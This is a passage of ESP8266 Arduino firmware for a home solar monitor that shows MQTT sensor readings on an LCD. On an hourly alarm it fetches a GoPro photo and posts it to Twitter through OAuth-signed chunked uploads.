};\nbyte valueisinvalid[8] = { B10000, B00000, B00000, B00000, B00000, B00000, B00000, B00000 };\nbyte customblock[8] = { B00100, B00100, B00100, B00100, B00100, B00100, B00100, B00100 };\n\n\/\/\nbool x;\n\nstatic uint32_t fnv_1_hash_32(uint8_t *bytes, size_t length) {\n static const uint32_t FNV_OFFSET_BASIS_32 = 2166136261U;\n static const uint32_t FNV_PRIME_32 = 16777619U;\n uint32_t hash = FNV_OFFSET_BASIS_32;\n for (size_t i = 0 ; i < length ; ++i) hash = (FNV_PRIME_32 * hash) ^ (bytes[i]);\n return hash;\n}\n\ntemplate <class T> uint32_t calc_hash(T& data) {\n return fnv_1_hash_32(((uint8_t*)&data) + sizeof(data.hash), sizeof(T) - sizeof(data.hash));\n}\n\nvoid alm_isr() {\n balm_isr = true;\n}\n\nbool rtc_config_read() {\n bool ok = system_rtc_mem_read(65, &rtc_boot_mode, sizeof(rtc_boot_mode));\n uint32_t hash = calc_hash(rtc_boot_mode);\n if (!ok || rtc_boot_mode.hash != hash) {\n rtc_boot_mode.gopro_mode = false;\n rtc_boot_mode.formatspiffs = false;\n rtc_boot_mode.Temperature = 0;\n rtc_boot_mode.gopro_size = 0;\n rtc_boot_mode.twitter_phase = 0;\n rtc_boot_mode.chunked_no = 0;\n rtc_boot_mode.attempt_this = 0;\n ok = false;\n } else {\n gopro_dir = rtc_boot_mode.gopro_dir;\n gopro_file = rtc_boot_mode.gopro_file;\n media_id = rtc_boot_mode.media_id;\n }\n return ok;\n}\n\nbool rtc_config_save() {\n strncpy(rtc_boot_mode.gopro_dir, gopro_dir.c_str(), sizeof(rtc_boot_mode.gopro_dir));\n strncpy(rtc_boot_mode.gopro_file, gopro_file.c_str(), sizeof(rtc_boot_mode.gopro_file));\n strncpy(rtc_boot_mode.media_id, media_id.c_str(), sizeof(rtc_boot_mode.media_id));\n rtc_boot_mode.hash = calc_hash(rtc_boot_mode);\n bool ok = system_rtc_mem_write(65, &rtc_boot_mode, sizeof(rtc_boot_mode));\n if (!ok) {\n ok = false;\n }\n return ok;\n}\n\n\/*\nbool readConfig_helper() {\n lcd.clear();\n lcd.setCursor(0, 0); \n if (!rtc_config_read()) {\n lcd.print(\"[CONFIG] read fail\");\n } else {\n lcd.print(\"[CONFIG] loaded\");\n }\n delay(2000);\n}\n*\/\n\nvoid saveConfig_helper() {\n lcd.clear();\n lcd.setCursor(0, 0); \n if (!rtc_config_save()) {\n lcd.print(\"[CONFIG] save fail\");\n } else {\n lcd.print(\"[CONFIG] saved\");\n }\n delay(2000);\n}\n\nvoid gopro_connect() {\n WiFi.mode(WIFI_STA);\n wifi_station_connect();\n WiFi.begin(goprossid, gopropassword);\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"conn to: \");\n lcd.print(goprossid);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n\n int n = (Attempt % 20);\n lcd.setCursor(n, 1);\n lcd.print(\"*\");\n if (n < 19) {\n lcd.setCursor((n + 1), 1);\n lcd.print(\" \");\n }\n Attempt++;\n if (Attempt == 300) {\n ESP.restart();\n }\n }\n lcd.setCursor(0, 2);\n lcd.print(\"ip: \");\n lcd.print(WiFi.localIP());\n delay(1000);\n}\n\nvoid wifi_connect() {\n wifi_set_phy_mode(PHY_MODE_11N);\n WiFi.mode(WIFI_STA);\n wifi_station_connect();\n WiFi.begin(ssid, password);\n WiFi.hostname(\"esp-solar\");\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"conn to: \");\n lcd.print(ssid);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n\n int n = (Attempt % 20);\n lcd.setCursor(n, 1);\n lcd.print(\"*\");\n if (n < 19) {\n lcd.setCursor((n + 1), 1);\n lcd.print(\" \");\n }\n Attempt++;\n if (Attempt == 300) {\n ESP.restart();\n }\n }\n lcd.setCursor(0, 2);\n lcd.print(\"ip: \");\n lcd.print(WiFi.localIP());\n delay(1000);\n}\n\nvoid spiffs_format() {\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[SPIFFS] format ....\");\n SPIFFS.format();\n lcd.setCursor(0, 1);\n lcd.print(\"[SPIFFS] format done\");\n delay(1000);\n}\n\n\/* ----------------------------------- *\/\nString make_signature(const char* secret_one, const char* secret_two, String base_string) {\n\n String signing_key = URLEncode(secret_one);\n signing_key += \"&\";\n signing_key += URLEncode(secret_two);\n\n uint8_t digestkey[32];\n SHA1_CTX context;\n SHA1_Init(&context);\n SHA1_Update(&context, (uint8_t*) signing_key.c_str(), (int)signing_key.length());\n SHA1_Final(digestkey, &context);\n\n uint8_t digest[32];\n ssl_hmac_sha1((uint8_t*) base_string.c_str(), (int)base_string.length(), digestkey, SHA1_SIZE, digest);\n\n String oauth_signature = URLEncode(base64::encode(digest, SHA1_SIZE).c_str());\n\n return oauth_signature;\n}\n\n\/\/ from http:\/\/hardwarefun.com\/tutorials\/url-encoding-in-arduino\n\/\/ modified by chaeplin\nString URLEncode(const char* msg) {\n const char *hex = \"0123456789ABCDEF\";\n String encodedMsg = \"\";\n\n while (*msg != '\\0') {\n if ( ('a' <= *msg && *msg <= 'z')\n || ('A' <= *msg && *msg <= 'Z')\n || ('0' <= *msg && *msg <= '9')\n || *msg == '-' || *msg == '_' || *msg == '.' || *msg == '~' ) {\n encodedMsg += *msg;\n } else {\n encodedMsg += '%';\n encodedMsg += hex[*msg >> 4];\n encodedMsg += hex[*msg & 0xf];\n }\n msg++;\n }\n return encodedMsg;\n}\n\n\/\/ https:\/\/github.com\/igrr\/axtls-8266\/blob\/master\/crypto\/hmac.c\nvoid ssl_hmac_sha1(const uint8_t *msg, int length, const uint8_t *key, int key_len, uint8_t *digest) {\n SHA1_CTX context;\n uint8_t k_ipad[64];\n uint8_t k_opad[64];\n int i;\n\n memset(k_ipad, 0, sizeof k_ipad);\n memset(k_opad, 0, sizeof k_opad);\n memcpy(k_ipad, key, key_len);\n memcpy(k_opad, key, key_len);\n\n for (i = 0; i < 64; i++)\n {\n k_ipad[i] ^= 0x36;\n k_opad[i] ^= 0x5c;\n }\n\n SHA1_Init(&context);\n SHA1_Update(&context, k_ipad, 64);\n SHA1_Update(&context, msg, length);\n SHA1_Final(digest, &context);\n SHA1_Init(&context);\n SHA1_Update(&context, k_opad, 64);\n SHA1_Update(&context, digest, SHA1_SIZE);\n SHA1_Final(digest, &context);\n}\n\/* -- *\/\nvoid sendmqttMsg(char* topictosend, String payload) {\n unsigned int msg_length = payload.length();\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if (mqttclient.publish(topictosend, p, msg_length, 1)) {\n free(p);\n } else {\n if (DEBUG_PRINT) {\n syslogPayload = topictosend;\n syslogPayload += \" - \";\n syslogPayload += payload;\n syslogPayload += \" : Publish fail\";\n sendUdpSyslog(syslogPayload);\n }\n free(p);\n }\n mqttclient.loop();\n}\n\nvoid sendUdpSyslog(String msgtosend) {\n unsigned int msg_length = msgtosend.length();\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) msgtosend.c_str(), msg_length);\n\n udp.beginPacket(influxdbudp, 514);\n udp.write(\"mqtt-solar: \");\n udp.write(p, msg_length);\n udp.endPacket();\n free(p);\n}\n\nvoid sendUdpmsg(String msgtosend) {\n unsigned int msg_length = msgtosend.length();\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) msgtosend.c_str(), msg_length);\n\n udp.beginPacket(influxdbudp, 8089);\n udp.write(p, msg_length);\n udp.endPacket();\n free(p);\n}\n\/* -- *\/\ntime_t requestSync() {\n return 0;\n}\n\ntime_t requestRtc() {\n RtcDateTime Epoch32Time = Rtc.GetDateTime();\n return (Epoch32Time + 946684800);\n}\n\n\/*-------- NTP code ----------*\/\nconst int NTP_PACKET_SIZE = 48;\nbyte packetBuffer[NTP_PACKET_SIZE];\n\nvoid sendNTPpacket(IPAddress & address) {\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n packetBuffer[0] = 0b11100011;\n packetBuffer[1] = 0;\n packetBuffer[2] = 6;\n packetBuffer[3] = 0xEC;\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n udp.beginPacket(address, 123);\n udp.write(packetBuffer, NTP_PACKET_SIZE);\n udp.endPacket();\n}\n\ntime_t getNtpTime() {\n while (udp.parsePacket() > 0) ;\n sendNTPpacket(time_server);\n uint32_t beginWait = millis();\n while (millis() - beginWait < 2500) {\n int size = udp.parsePacket();\n if (size >= NTP_PACKET_SIZE) {\n udp.read(packetBuffer, NTP_PACKET_SIZE);\n unsigned long secsSince1900;\n secsSince1900 = (unsigned long)packetBuffer[40] << 24;\n secsSince1900 |= (unsigned long)packetBuffer[41] << 16;\n secsSince1900 |= (unsigned long)packetBuffer[42] << 8;\n secsSince1900 |= (unsigned long)packetBuffer[43];\n return secsSince1900 - 2208988800UL + timeZone * SECS_PER_HOUR;\n }\n }\n return 0;\n}\n\n\n\/* --- *\/\nString macToStr(const uint8_t* mac) {\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\nboolean reconnect() {\n if (!mqttclient.connected()) {\n if (mqttclient.connect((char*) clientName.c_str())) {\n \/*\n if (mqttclient.connect((char*) clientName.c_str(), willTopic, 0, true, willMessage)) {\n mqttclient.publish(willTopic, \"1\", true);\n\n if (!ResetInfo) {\n mqttclient.publish(hellotopic, (char*) getResetInfo.c_str());\n ResetInfo = true;\n } else {\n mqttclient.publish(hellotopic, \"hello again 1 from solar\");\n }\n\n *\/\n\n mqttclient.loop();\n\n for (int i = 0; i < 6; ++i) {\n mqttclient.subscribe(substopic[i]);\n mqttclient.loop();\n }\n\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"---> mqttconnected\");\n }\n } else {\n if (DEBUG_PRINT) {\n syslogPayload = \"failed, rc=\";\n syslogPayload += mqttclient.state();\n sendUdpSyslog(syslogPayload);\n }\n }\n }\n return mqttclient.connected();\n}\n\nvoid callback(char* intopic, byte* inpayload, unsigned int length) {\n String receivedtopic = intopic;\n String receivedpayload ;\n\n for (int i = 0; i < length; i++) {\n receivedpayload += (char)inpayload[i];\n }\n\n if (DEBUG_PRINT) {\n syslogPayload = intopic;\n syslogPayload += \" ====> \";\n syslogPayload += receivedpayload;\n sendUdpSyslog(syslogPayload);\n }\n parseMqttMsg(receivedpayload, receivedtopic);\n}\n\nvoid parseMqttMsg(String receivedpayload, String receivedtopic) {\n char json[] = \"{\\\"Humidity\\\":43.90,\\\"Temperature\\\":22.00,\\\"DS18B20\\\":22.00,\\\"PIRSTATUS\\\":0,\\\"FreeHeap\\\":43552,\\\"acquireresult\\\":0,\\\"acquirestatus\\\":0,\\\"DHTnextSampleTime\\\":2121587,\\\"bDHTstarted\\\":0,\\\"RSSI\\\":-48,\\\"millis\\\":2117963}\";\n\n receivedpayload.toCharArray(json, 400);\n StaticJsonBuffer<400> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(json);\n\n if (!root.success()) {\n return;\n }\n\n if ( receivedtopic == substopic[0] ) {\n if (root.containsKey(\"data1\")) {\n solar_data.data1 = root[\"data1\"];\n }\n if (root.containsKey(\"data2\")) {\n solar_data.data2 = root[\"data2\"];\n }\n lastTime = millis();\n }\n\n if ( receivedtopic == substopic[1] ) {\n if (root.containsKey(\"Humidity\")) {\n solar_data.Humidity = root[\"Humidity\"];\n }\n\n if (root.containsKey(\"Temperature\")) {\n solar_data.Temperature1 = root[\"Temperature\"];\n }\n }\n\n if ( receivedtopic == substopic[2] ) {\n if (root.containsKey(\"powerAvg\")) {\n solar_data.powerAvg = root[\"powerAvg\"];\n }\n }\n\n if ( receivedtopic == substopic[3] ) {\n if (root.containsKey(\"data1\")) {\n solar_data.Temperature2 = root[\"data1\"];\n }\n }\n\n if ( receivedtopic == substopic[4] ) {\n if (root.containsKey(\"DOORPIR\")) {\n if (solar_data.pir != root[\"DOORPIR\"]) {\n solar_data.pir = int(root[\"DOORPIR\"]);\n }\n }\n }\n\n if ( receivedtopic == substopic[5] ) {\n if (root.containsKey(\"data1\")) {\n solar_data.data3 = root[\"data1\"];\n }\n if (root.containsKey(\"data2\")) {\n solar_data.data4 = root[\"data2\"];\n }\n lastTime2 = millis();\n }\n\n msgcallback = !msgcallback;\n}\n\nvoid setup() {\n Serial.swap();\n system_update_cpu_freq(SYS_CPU_80MHz);\n WiFi.mode(WIFI_OFF);\n rtc_config_read();\n\n Wire.begin(0, 2);\n delay(100);\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n \/\/\n lastReconnectAttempt = 0;\n msgcallback = false;\n\n getResetInfo = \"hello from solar \";\n getResetInfo += ESP.getResetInfo().substring(0, 80);\n\n \/\/\n solar_data.Temperature1 = solar_data.Temperature2 = solar_data.Humidity = 0;\n solar_data.data1 = solar_data.data2 = solar_data.data3 = solar_data.data4 = solar_data.powerAvg = 0;\n lastTime = lastTime2 = millis();\n\n \/\/ lcd\n lcd.init();\n lcd.backlight();\n lcd.clear();\n\n lcd.createChar(1, termometru);\n lcd.createChar(2, picatura);\n lcd.createChar(3, customblock);\n lcd.createChar(4, customCharfill);\n lcd.createChar(5, pirfill);\n lcd.createChar(6, powericon);\n lcd.createChar(7, valueisinvalid);\n\n for ( int i = 1 ; i < 19 ; i++) {\n lcd.setCursor(i, 0);\n lcd.write(4);\n lcd.setCursor(i, 3);\n lcd.write(4);\n }\n\n for ( int i = 0 ; i < 4 ; i++) {\n lcd.setCursor(0, i);\n lcd.write(4);\n lcd.setCursor(19, i);\n lcd.write(4);\n }\n\n lcd.setCursor(4, 1);\n if (rtc_boot_mode.gopro_mode) {\n lcd.print(\"[Gopro mode]\");\n } else {\n lcd.print(\"[Clock mode]\");\n }\n\n delay(1000);\n lcd.clear();\n\n if (!SPIFFS.begin()) {\n lcd.setCursor(0, 0);\n lcd.print(\"[SPIFFS] mnt fail\");\n delay(1000);\n return;\n }\n\n if (rtc_boot_mode.formatspiffs) {\n spiffs_format();\n rtc_boot_mode.formatspiffs = false;\n saveConfig_helper();\n }\n\n if (rtc_boot_mode.gopro_mode) {\n lcd.setCursor(0, 1);\n if (!rtc_config_read()) {\n lcd.print(\"[CONFIG] load fail\");\n } else {\n lcd.print(\"[CONFIG] loaded\");\n lcd.setCursor(0, 2);\n lcd.print(\"[CONFIG] [PH] : \");\n lcd.print(rtc_boot_mode.twitter_phase);\n }\n delay(1000);\n\n \/\/ check fie size in config\n if ( rtc_boot_mode.twitter_phase != 0 && rtc_boot_mode.gopro_size == 0) {\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.twitter_phase = 0;\n saveConfig_helper();\n delay(200);\n ESP.reset();\n }\n\n if ( rtc_boot_mode.twitter_phase == 0) {\n Dir dir = SPIFFS.openDir(\"\/\");\n while (dir.next()) {\n if ( dir.fileName().startsWith(\"\/GOPR\")) {\n SPIFFS.remove(dir.fileName());\n }\n if ( dir.fileName().startsWith(\"\/config\")) {\n SPIFFS.remove(dir.fileName());\n }\n }\n }\n\n }\n\n if (!rtc_boot_mode.gopro_mode) {\n wifi_connect();\n } else {\n if ( rtc_boot_mode.twitter_phase > 1 ) {\n wifi_connect();\n } else {\n gopro_connect();\n }\n }\n\n if (!rtc_boot_mode.gopro_mode || rtc_boot_mode.twitter_phase > 1) {\n udp.begin(localPort);\n\n if (!Rtc.IsDateTimeValid()) {\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"00 --> Rtc.IsDateTime is inValid\");\n }\n\n lcd.setCursor(0, 3);\n lcd.print(\"RTC is inValid\");\n delay(1000);\n\n setSyncProvider(requestSync);\n\n int Attempt = 0;\n while ( timeStatus() == timeNotSet ) {\n setSyncProvider(getNtpTime);\n Attempt++;\n if (Attempt > 3) {\n break;\n }\n yield();\n }\n\n if (timeStatus() == timeSet) {\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"00 --> ntp time synced\");\n }\n\n lcd.setCursor(0, 3);\n lcd.print(\"ntp synced\");\n\n Rtc.SetDateTime(now() - 946684800);\n if (!Rtc.GetIsRunning()) {\n Rtc.SetIsRunning(true);\n }\n } else {\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"00 --> ntp not synced, use rtc time anyway\");\n }\n }\n } else {\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"00 --> Rtc.IsDateTime is Valid\");\n }\n lcd.setCursor(0, 3);\n lcd.print(\"RTC is Valid\");\n delay(1000);\n }\n }\n\n setSyncProvider(requestRtc);\n setSyncInterval(60);\n\n Rtc.Enable32kHzPin(false);\n\n if (!rtc_boot_mode.gopro_mode) {\n \/*\n Rtc.SetSquareWavePin(DS3231SquareWavePin_ModeAlarmBoth);\n\n \/\/ Alarm 1 set to trigger every day when\n \/\/ the hours, minutes, and seconds match\n\n RtcDateTime alarmTime = now() - 946684800 + 128; \/\/ into the future\n DS3231AlarmOne alarm1(\n alarmTime.Day(),\n alarmTime.Hour(),\n alarmTime.Minute(),\n alarmTime.Second(),\n DS3231AlarmOneControl_HoursMinutesSecondsMatch);\n Rtc.SetAlarmOne(alarm1);\n\n \/\/ Alarm 2 set to trigger at the top of the minute\n DS3231AlarmTwo alarm2(\n 0,\n 0,\n 0,\n DS3231AlarmTwoControl_OncePerMinute);\n Rtc.SetAlarmTwo(alarm2);\n\n \/\/ throw away any old alarm state before we ran\n Rtc.LatchAlarmsTriggeredFlags();\n *\/\n Rtc.SetSquareWavePin(DS3231SquareWavePin_ModeAlarmTwo);\n \/\/ Wakeup every hour\n DS3231AlarmTwo alarm1(\n 0, \/\/ day\n 0, \/\/ hour\n 0, \/\/ min\n DS3231AlarmTwoControl_MinutesMatch);\n Rtc.SetAlarmTwo(alarm1);\n Rtc.LatchAlarmsTriggeredFlags();\n } else {\n Rtc.SetSquareWavePin(DS3231SquareWavePin_ModeNone);\n }\n\n \/\/OTA\n if (!rtc_boot_mode.gopro_mode) {\n ArduinoOTA.setPort(8266);\n ArduinoOTA.setHostname(\"esp-solar\");\n ArduinoOTA.setPassword(otapassword);\n ArduinoOTA.onStart([]() {\n sendUdpSyslog(\"ArduinoOTA Start\");\n });\n ArduinoOTA.onEnd([]() {\n sendUdpSyslog(\"ArduinoOTA End\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n syslogPayload = \"Progress: \";\n syslogPayload += (progress \/ (total \/ 100));\n sendUdpSyslog(syslogPayload);\n });\n ArduinoOTA.onError([](ota_error_t error) {\n if (error == OTA_AUTH_ERROR) abort();\n else if (error == OTA_BEGIN_ERROR) abort();\n else if (error == OTA_CONNECT_ERROR) abort();\n else if (error == OTA_RECEIVE_ERROR) abort();\n else if (error == OTA_END_ERROR) abort();\n\n });\n\n ArduinoOTA.begin();\n\n if (DEBUG_PRINT) {\n syslogPayload = \"------------------> solar started\";\n sendUdpSyslog(syslogPayload);\n }\n\n lcd.clear();\n lcd.setCursor(0, 1);\n lcd.write(1);\n\n lcd.setCursor(0, 2);\n lcd.write(2);\n\n lcd.setCursor(0, 3); \/\/ power\n lcd.write(6);\n\n lcd.setCursor(6, 2); \/\/ b\n lcd.write(3);\n\n lcd.setCursor(6, 3); \/\/ b\n lcd.write(3);\n \/\/\n lcd.setCursor(6, 1);\n lcd.print((char)223);\n\n lcd.setCursor(12, 1);\n lcd.print((char)223);\n\n\n pinMode(SquareWavePin, INPUT_PULLUP);\n attachInterrupt(1, alm_isr, FALLING);\n }\n\n x = true;\n}\n\ntime_t prevDisplay = 0;\n\nvoid loop() {\n if (!rtc_boot_mode.gopro_mode) {\n if (balm_isr) {\n DS3231AlarmFlag flag = Rtc.LatchAlarmsTriggeredFlags();\n \/*\n if (flag & DS3231AlarmFlag_Alarm1) {\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"alarm one triggered\");\n }\n }\n *\/\n if (flag & DS3231AlarmFlag_Alarm2) {\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"alarm two triggered\");\n }\n rtc_boot_mode.gopro_mode = true;\n rtc_boot_mode.Temperature = solar_data.Temperature2 ;\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.twitter_phase = 0;\n saveConfig_helper();\n delay(200);\n\n ESP.reset();\n }\n balm_isr = false;\n }\n\n if (WiFi.status() == WL_CONNECTED) {\n if (!mqttclient.connected()) {\n if (DEBUG_PRINT) {\n syslogPayload = \"failed, rc= \";\n syslogPayload += mqttclient.state();\n sendUdpSyslog(syslogPayload);\n }\n unsigned long now = millis();\n if (now - lastReconnectAttempt > 100) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n if (timeStatus() != timeNotSet) {\n if (now() != prevDisplay) {\n prevDisplay = now();\n digitalClockDisplay();\n displayTemperature();\n displaypowerAvg();\n displaypir();\n\n if (second() % 10 == 0) {\n displayData();\n displayData2();\n\n if (( millis() - lastTime ) > 120000 ) {\n lcd.setCursor(19, 2);\n lcd.write(5);\n } else {\n lcd.setCursor(19, 2);\n lcd.print(\" \");\n }\n\n if (( millis() - lastTime2 ) > 120000 ) {\n lcd.setCursor(19, 3);\n lcd.write(5);\n } else {\n lcd.setCursor(19, 3);\n lcd.print(\" \");\n }\n }\n\n if (!Rtc.IsDateTimeValid()) {\n lcd.setCursor(18, 0);\n lcd.write(7);\n } else {\n lcd.setCursor(18, 0);\n lcd.print(\" \");\n }\n\n if (msgcallback) {\n lcd.setCursor(19, 0);\n lcd.write(5);\n } else {\n lcd.setCursor(19, 0);\n lcd.print(\" \");\n }\n }\n }\n mqttclient.loop();\n }\n ArduinoOTA.handle();\n } else {\n wifi_connect();\n }\n } else {\n\n if (WiFi.status() == WL_CONNECTED) {\n \/\/ gopro mode\n\n if (x) {\n \/\/ switch todo\n\n value_timestamp = now();\n value_nonce = *(volatile uint32_t *)0x3FF20E44;\n\n value_status = \"esp-01 \/ \";\n value_status += rtc_boot_mode.Temperature;\n value_status += \"C \/ \";\n value_status += hour();\n value_status += \":00 \/ up \";\n value_status += hour();\n value_status += \":\";\n value_status += minute();\n\n switch (rtc_boot_mode.twitter_phase) {\n\n case 0:\n get_gpro_list();\n break;\n\n case 1:\n get_gopro_file();\n gopro_poweroff();\n delay(200);\n ESP.reset();\n break;\n\n case 2:\n tweet_init();\n break;\n\n case 3:\n tweet_append();\n break;\n\n case 4:\n tweet_fin();\n break;\n\n case 5:\n tweet_check();\n break;\n\n case 6:\n tweet_status();\n break;\n\n case 7:\n rtc_boot_mode.gopro_mode = false;\n saveConfig_helper();\n delay(200);\n ESP.reset();\n break;\n\n default:\n x = false;\n break;\n }\n }\n }\n }\n}\n\nvoid displayData() {\n lcd.setCursor(7, 2);\n lcd.print(\" \");\n lcd.setCursor(7, 2);\n if ( solar_data.data1 < 1000 ) {\n lcd.print(\" \");\n }\n lcd.print(solar_data.data1, 0);\n\n lcd.setCursor(12, 2);\n lcd.print(\" \");\n lcd.setCursor(12, 2);\n lcd.print(solar_data.data2, 2);\n}\n\nvoid displayData2() {\n lcd.setCursor(7, 3);\n lcd.print(\" \");\n lcd.setCursor(7, 3);\n if ( solar_data.data3 < 1000 ) {\n lcd.print(\" \");\n }\n lcd.print(solar_data.data3, 0);\n\n lcd.setCursor(12, 3);\n lcd.print(\" \");\n lcd.setCursor(12, 3);\n lcd.print(solar_data.data4, 5);\n \/\/lcd.print((solar_data.data4 * 100000), 0);\n}\n\nvoid displaypir() {\n if ( solar_data.pir == 1) {\n for ( int i = 0 ; i <= 2 ; i ++ ) {\n lcd.setCursor(19, i);\n lcd.write(5);\n }\n } else {\n for ( int i = 0 ; i <= 2 ; i ++ ) {\n lcd.setCursor(19, i);\n lcd.print(\" \");\n }\n }\n}\n\nvoid displaypowerAvg() {\n if (solar_data.powerAvg < 9999) {\n String str_Power = String(solar_data.powerAvg);\n int length_Power = str_Power.length();\n\n lcd.setCursor(2, 3);\n for ( int i = 0; i < ( 4 - length_Power ) ; i++ ) {\n lcd.print(\" \");\n }\n lcd.print(str_Power);\n }\n}\n\nvoid displayTemperaturedigit(float Temperature) {\n String str_Temperature = String(int(Temperature)) ;\n int length_Temperature = str_Temperature.length();\n\n for ( int i = 0; i < ( 3 - length_Temperature ) ; i++ ) {\n lcd.print(\" \");\n }\n lcd.print(Temperature, 1);\n}\n\nvoid displayTemperature() {\n lcd.setCursor(1, 1);\n displayTemperaturedigit(solar_data.Temperature1);\n\n lcd.setCursor(7, 1);\n\n float tempdiff = solar_data.Temperature2 - solar_data.Temperature1 ;\n displayTemperaturedigit(solar_data.Temperature2);\n\n lcd.setCursor(14, 1);\n if ( tempdiff > 0 ) {\n lcd.print(\"+\");\n } else if ( tempdiff < 0 ) {\n lcd.print(\"-\");\n }\n\n String str_tempdiff = String(int abs(tempdiff));\n int length_tempdiff = str_tempdiff.length();\n\n lcd.setCursor(15, 1);\n lcd.print(abs(tempdiff), 1);\n if ( length_tempdiff == 1) {\n lcd.print(\" \");\n }\n\n lcd.setCursor(2, 2);\n if ( solar_data.Humidity >= 10 ) {\n lcd.print(solar_data.Humidity, 1);\n } else {\n lcd.print(\" \");\n lcd.print(solar_data.Humidity, 1);\n }\n}\nvoid digitalClockDisplay() {\n \/\/ digital clock display of the time\n lcd.setCursor(0, 0);\n printDigitsnocolon(month());\n lcd.print(\"\/\");\n printDigitsnocolon(day());\n\n lcd.setCursor(6, 0);\n lcd.print(dayShortStr(weekday()));\n lcd.setCursor(10, 0);\n printDigitsnocolon(hour());\n printDigits(minute());\n printDigits(second());\n}\n\nvoid printDigitsnocolon(int digits) {\n if (digits < 10) {\n lcd.print('0');\n }\n lcd.print(digits);\n}\n\n\nvoid printDigits(int digits) {\n \/\/ utility for digital clock display: prints preceding colon and leading 0\n lcd.print(\":\");\n if (digits < 10) {\n lcd.print('0');\n }\n lcd.print(digits);\n}\n\n\/* ------------------------------- *\/\nString get_hash_str(String content_more, String content_last, int positionofchunk, int get_size, bool bpost = false) {\n\n File f = SPIFFS.open(\"\/\" + gopro_file, \"r\");\n if (!f) {\n return \"0\";\n } else {\n f.seek(positionofchunk, SeekSet);\n }\n\n if ( !bpost ) {\n\n char buff[1460] = { 0 };\n int len = get_size; \/\/ file size\n\n uint8_t digestkey[32];\n SHA1_CTX context;\n SHA1_Init(&context);\n\n SHA1_Update(&context, (uint8_t*) content_more.c_str(), content_more.length());\n\n while (f.available()) {\n int c = f.readBytes(buff, ((len > sizeof(buff)) ? sizeof(buff) : len));\n\n if ( c > 0 ) {\n SHA1_Update(&context, (uint8_t*) buff, c);\n }\n\n if (len > 0) {\n len -= c;\n }\n\n if (c == 0) {\n break;\n }\n }\n f.close();\n\n SHA1_Update(&context, (uint8_t*) content_last.c_str(), content_last.length());\n SHA1_Final(digestkey, &context);\n\n return URLEncode(base64::encode(digestkey, 20).c_str());\n } else {\n\n char buff[1460] = { 0 };\n int len = get_size;\n\n sslclient.print(content_more);\n\n lcd.setCursor(0, 3);\n lcd.print(\"[P:3] put : \");\n\n int pre_progress = 0;\n\n while (f.available()) {\n int c = f.readBytes(buff, ((len > sizeof(buff)) ? sizeof(buff) : len));\n if ( c > 0 ) {\n sslclient.write((const uint8_t *) buff, c);\n }\n\n float progress = ((get_size - len) \/ (get_size \/ 100));\n if (int(progress) != pre_progress ) {\n lcd.setCursor(13, 3);\n if (progress < 10) {\n lcd.print(\" \");\n }\n\n lcd.print(progress, 0);\n lcd.print(\" % \");\n pre_progress = int(progress);\n }\n\n if (len > 0) {\n len -= c;\n }\n\n if (c == 0) {\n break;\n }\n\n if (!sslclient.connected()) {\n \tf.close();\n return \"0\";\n break;\n }\n\n }\n\n sslclient.print(content_last);\n f.close();\n return \"1\";\n }\n}\n\nbool do_http_append_post(String content_header, String content_more, String content_last, int positionofchunk, int get_size) {\n if (!sslclient.connect(UPLOAD_BASE_HOST, HTTPSPORT)) {\n return false;\n }\n\n\n if (!sslclient.verify(upload_fingerprint, UPLOAD_BASE_HOST)) {\n lcd.setCursor(0, 2);\n lcd.print(\"[P:3] ssl fail\");\n return false;\n }\n\n wifiClient.setNoDelay(true);\n sslclient.setNoDelay(true);\n\n sslclient.print(content_header);\n\n String ok = get_hash_str(content_more, content_last, positionofchunk, get_size, true);\n if (ok == \"0\") {\n \tlcd.setCursor(0, 2);\n lcd.print(\"[P:3] put err, reset\");\n \tESP.reset();\n }\n\n int _returnCode = 0;\n while (sslclient.connected()) {\n String line = sslclient.readStringUntil('\\n');\n if (line.startsWith(\"HTTP\/1.\")) {\n _returnCode = line.substring(9, line.indexOf(' ', 9)).toInt();\n break;\n }\n }\n\n if (_returnCode >= 200 && _returnCode < 400) {\n rtc_boot_mode.chunked_no++;\n saveConfig_helper();\n return true;\n } else {\n return false;\n }\n}\n\nbool do_http_text_post(String OAuth_header) {\n String payload = \"\";\n\n String uri_to_post = UPLOAD_BASE_URI;\n if (rtc_boot_mode.twitter_phase == 6) {\n uri_to_post = BASE_URI;\n uri_to_post += \"?media_ids=\";\n uri_to_post += media_id;\n }\n\n String req_body_to_post;\n\n HTTPClient http;\n\n lcd.setCursor(0, 1);\n lcd.print(\"case \");\n lcd.print(rtc_boot_mode.twitter_phase);\n lcd.print(\" : \");\n switch (rtc_boot_mode.twitter_phase) {\n case 2:\n req_body_to_post = \"command=INIT&media_type=image%2Fjpeg&total_bytes=\";\n req_body_to_post += rtc_boot_mode.gopro_size;\n http.begin(UPLOAD_BASE_HOST, HTTPSPORT, uri_to_post, upload_fingerprint);\n break;\n\n case 